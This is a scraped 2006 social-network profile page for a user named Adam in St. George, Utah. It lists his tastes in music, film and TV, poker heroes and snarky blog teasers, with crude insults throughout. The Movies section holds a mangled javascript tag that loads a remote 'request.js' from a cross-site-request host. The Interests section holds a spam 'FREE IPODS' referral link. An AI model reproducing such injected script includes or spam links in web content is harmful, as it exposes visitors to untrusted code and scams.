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Adam

The world is what YOU think it is...

About Me

First and foremost I joined this site after my chia pet died tragicly! I found myself lonely and seeking companionship without my fine green friend so I came here, so dont confuse me with one of those internet losers please. I DO NOT LIKE WAKEBOARDING! EVERYBODY claims they are into it on myspace but I want to be the first to publicly say I am sorry I DO NOT wakeboard. If these wakeboarders aka 2nd class surfer wannabe's are your thing then you need to pass on adding me and move on to your local Zumiez.I would love to tell you I am Fabio, Ashton Kutcher or Brad Pitt but really I am the guy that is walking around all day with toilet paper stuck to his shoe, a dab of toothpaste dripping off the corner of his mouth, and his fly undone. I feel like such an idiot sometimes. I mean it sucks that I spend so much time putting gel in my hair, ironing my fine button up shirts, and buying bright awesome shoes and then I just blow it all by coming off like a complete IDIOT!- Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

Indie Film Making . Rockabilly ., Psychobilly, Guitars ., Women ., Venture Capital Investing, , Stocks bonds and Mutual Funds ., Music Business ., Punk Rock . , Bad Religion ., Tiger Army ., Brian Setzer ., Reverend Horton Heat ., The Refused ., 59 Times The Pain ., The Horrorpops, The Nekromantix, The Black Halos ., Iggy Pop and The Stooges ., The MC5, The Ramones ., The Clash ., Joe Strummer and The Mescalaros .. The Dickies, Rancid ., Sasha ., DJ Dan ., Los Straightjackets ., Felix Da Housecat ., Turbo AC's ., Armin Van Buuren ., Ian Van Dahl ., Benny Bennassi ., DJ Z Trip . http://www.mp3players4free.com/default.aspx?r=9799" target="_blank"FREE IPODS

I'd like to meet:

Girls who are like Hotties and watch a lot of MTV, The OC, and love to rip out pictures of guys they see in SPIN, Alternative Press, Bop, and HIT Parade!I am kidding I just want to meet others who are interested in what I am interested in. Poker, music, media, etc.. msprm name="wmode" value="tr

Music:

Rockabilly ., Psychobilly, Punk Garage, Surf, Trance, Big Room Trance, Progressive Trance, Progressive House, Progressive Disco HouseI HATE SCREAMO/EMO and all forms of it!!!!!!

Movies:

The Goonies . , Poolhall Junkies ., Donnie Darko . because it is trendy and everybody likes to add that one in the list. Bubble Boy . because it has that kewl guy from Donnie Darko .. The Loveless , and anything with Vin Diesel . because he is the best actor currently. .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

Pardon The Interruption, Cold Pizza, and Around The Horn, WSOP, Cheap Seats,My favorite show though has to be Cheaters! Everybody is a loser or just a whore on that show so I love it!

Books:

Anything gonzo written by Hunter S. Thompson"Comedy Writing Secrets""Story""Fantastic Voyage" By Ray Kurzweil

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Heroes:

Myself first and foremost. I have no hero but I respect many.Your mom for making such an intelligent person with good enough taste to read my profile and add me to your friends.Anybody who is not trendy and can be their own person without following others while still maintaining their style and attitude definitly makes my hero list. Sammy Farha, Doyle Brunson, Daniel Negraneu, Phil Ivey, Dutch Boyd, Phil Hellmuth, Mike "The Mouth" Matusow, etc ..

My Blog

A note to shirtless idiots

Hey you idiots that sit here taking shirtless pics for myspace.. It is one thing to be stupid enough to post your shirtless pics on myspace but why do you also have to be soo stupid you can't turn you...
Posted by Adam on Mon, 08 May 2006 10:39:00 PST

How to be a loser in st. george and Still Get laid!

This area of Utah I live in never ceases to amaze me in the idiocy and utter lack of creativity or self expression. I have noticed a trend in the guys in this shit town that apparently are getting lai...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

Why is Bruce Springsteen a Moron?

I dont know who the hell Bruce Springsteen is anymore but he sure isnt the blue collar New Jersey Workingmans hero. Last night his "Devils and Dust" tour kicked off in Arizona. He went on tangents for...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

If you are going to be a runaway bride please read this

Jennifer Willbanks if you dont already know is the woman who faked her kidnapping and got on a greyhound bus because she was scared of getting married. I don't know about you but I am more scared of r...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

American Idol Drinking Game

The American Idol drinking game is simple if you see any of the below you must take a drink of your favorite alcoholic beverage or hard liquor shot of choice preferbly: Randy Jackson using the word...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

Spam has destroyed my self esteem

Spam is a sad thing, it really is. If you look at every spam you get it involves topics that really are not that positive at all. Today I decided to go thru and delete my spam folder and I felt my eg...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

Britney Spears Will be Our Generations Kirstie Alley

I have looked deeply into my crystal ball and it shows me a fat bloated Britney Spears ! I predict that she will be our generations Kirstie Alley. Logic tells me that Britney didn't quite get blessed...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

NEW DEAD TREND WARNING-LANCE ARMSTRONG BRACELETS!!!!!!!

I just want to let everybody know that is currently wearing those crappy bracelets that are supposedly for the lance armstrong "Live Strong" Cancer foundation or whatever know that they are not showin...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

TRENDS THAT ARE DEAD-ANNOUNCEMENT

I want to officially announce the rice rocket trend to be DEAD. Not even a 3rd installment of "The Fast and The Furious" will save it EVEN if Vin Diesel actually was in it and maybe COULD ACT! So this...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST

Golds Gym is a fine place to meet IDIOTS!!!!

I dont like the way I look lately so I have been working out as much as I can lately. I have always loved gyms. There was a time when I felt I was my best when I was working out. I am trying to get ba...
Posted by Adam on Mon, 01 Jan 1900 12:00:00 PST